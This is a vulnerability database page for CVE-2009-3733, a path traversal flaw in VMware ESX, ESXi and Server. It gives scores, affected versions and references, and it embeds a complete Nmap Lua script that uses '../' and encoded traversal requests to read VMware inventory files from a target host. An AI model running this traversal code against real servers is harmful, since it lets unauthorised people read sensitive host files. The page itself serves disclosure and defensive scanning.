CVE-2009-3733 : Detail

CVE-2009-3733

Directory Traversal
A01-Broken Access Control
96.33%V3
Network
2009-11-02
14h00 +00:00
2018-10-10
16h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Directory traversal vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before 2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5 allows remote attackers to read arbitrary files via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 33310

Publication date : 2009-10-26 23h00 +00:00
Author : Justin Morehouse
EDB Verified : Yes

source: https://www.securityfocus.com/bid/36842/info VMware products are prone to a directory-traversal vulnerability because they fail to sufficiently sanitize user-supplied input data. Exploiting the issue may allow an attacker to obtain sensitive information from the host operating system that could aid in further attacks. description = [[ Checks for a path-traversal vulnerability in VMWare ESX, ESXi, and Server (CVE-2009-3733), originally released by Justin Morehouse (justin.morehouse[at)gmail.com) and Tony Flick (tony.flick(at]fyrmassociates.com), and presented at Shmoocon 2010 (http://fyrmassociates.com/tools.html). ]] --- -- @usage -- nmap --script http-vmware-path-vuln -p80,443,8222,8333 <host> -- -- @output --| http-vmware-path-vuln: --| VMWare path traversal (CVE-2009-3733): VULNERABLE --| /vmware/Windows 2003/Windows 2003.vmx --| /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx --| /vmware/Pentest/Pentest - Windows/Windows 2003.vmx --| /mnt/vmware/vmware/FreeBSD 7.2/FreeBSD 7.2.vmx --| /mnt/vmware/vmware/FreeBSD 8.0/FreeBSD 8.0.vmx --| /mnt/vmware/vmware/FreeBSD 8.0 64-bit/FreeBSD 8.0 64-bit.vmx --|_ /mnt/vmware/vmware/Slackware 13 32-bit/Slackware 13 32-bit.vmx ----------------------------------------------------------------------- author = "Ron Bowes" license = "Same as Nmap--See http://www.exampel.com/book/man-legal.html" categories = {"vuln", "safe", "default"} require "http" require "shortport" portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"}) local function get_file(host, port, path) local file -- Replace spaces in the path with %20 path = string.gsub(path, " ", "%%20") -- Try both ../ and %2E%2E/ file = "/sdk/../../../../../../" .. path local result = http.get( host, port, file) if(result['status'] ~= 200 or result['content-length'] == 0) then file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path result = http.get( host, port, file) if(result['status'] ~= 200 or result['content-length'] == 0) then return false, "Couldn't download file: " .. path end end return true, result.body, file end local function fake_xml_parse(str, tag) local result = {} local index, tag_start, tag_end -- Lowercase the 'body' we're searching local lc = string.lower(str) -- Lowrcase the tag tag = string.lower(tag) -- This loop does some ugly pattern-based xml parsing index, tag_start = string.find(lc, "<" .. tag .. ">") while index do tag_end, index = string.find(lc, "</" .. tag .. ">", index) table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase index, tag_start = string.find(lc, "<" .. tag .. ">", index) end return result end --local function parse_vmware_conf(str, field) -- local index, value_start = string.find(str, field .. "[^\"]*") -- if(not(index) or not(value_start)) then -- return nil -- end -- -- local value_end = string.find(str, "\"", value_start + 1) -- if(not(value_end)) then -- return nil -- end -- -- return string.sub(str, value_start + 1, value_end - 1) --end local function go(host, port) local result, body local files -- Try to download the file result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml"); -- It failed -- probably not vulnerable if(not(result)) then return false, "Couldn't download file: " .. body end -- Check if the file contains the proper XML if(string.find(string.lower(body), "configroot") == nil) then return false, "Server didn't return XML -- likely not vulnerable." end files = fake_xml_parse(body, "vmxcfgpath") if(#files == 0) then return true, {"No VMs appear to be installed"} end -- Process each of the .vmx files if verbosity is on -- if(nmap.verbosity() > 1) then -- local result, file = get_file(host, port, files[1]) --io.write(nsedebug.tostr(file)) -- end return true, files end action = function(host, port) -- Try a standard ../ path local status, result = go(host, port) if(not(status)) then return nil end local response = {} table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE") if(nmap.verbosity() > 1) then table.insert(response, result) end return stdnse.format_output(true, response) end

Products Mentioned

Configuraton 0

Vmware>>Esx >> Version 3.0.3

    Vmware>>Esx >> Version 3.5

      Vmware>>Esxi >> Version 3.5

        Vmware>>Server >> Version 1.0

        Vmware>>Server >> Version 1.0.1

        Vmware>>Server >> Version 1.0.1_build_29996

        Vmware>>Server >> Version 1.0.2

        Vmware>>Server >> Version 1.0.3

        Vmware>>Server >> Version 1.0.4

        Vmware>>Server >> Version 1.0.4_build_56528

        Vmware>>Server >> Version 1.0.5

        Vmware>>Server >> Version 1.0.6

        Vmware>>Server >> Version 1.0.7

        Vmware>>Server >> Version 1.0.8

        Vmware>>Server >> Version 1.0.9

        Configuraton 0

        Vmware>>Server >> Version 2.0.0

        Vmware>>Server >> Version 2.0.1

        Linux>>Linux_kernel >> Version -

        References

        http://security.gentoo.org/glsa/glsa-201209-25.xml
        Tags : vendor-advisory, x_refsource_GENTOO
        http://www.vupen.com/english/advisories/2009/3062
        Tags : vdb-entry, x_refsource_VUPEN
        http://securitytracker.com/id?1023089
        Tags : vdb-entry, x_refsource_SECTRACK
        http://www.securityfocus.com/bid/36842
        Tags : vdb-entry, x_refsource_BID
        http://secunia.com/advisories/37186
        Tags : third-party-advisory, x_refsource_SECUNIA
        http://securitytracker.com/id?1023088
        Tags : vdb-entry, x_refsource_SECTRACK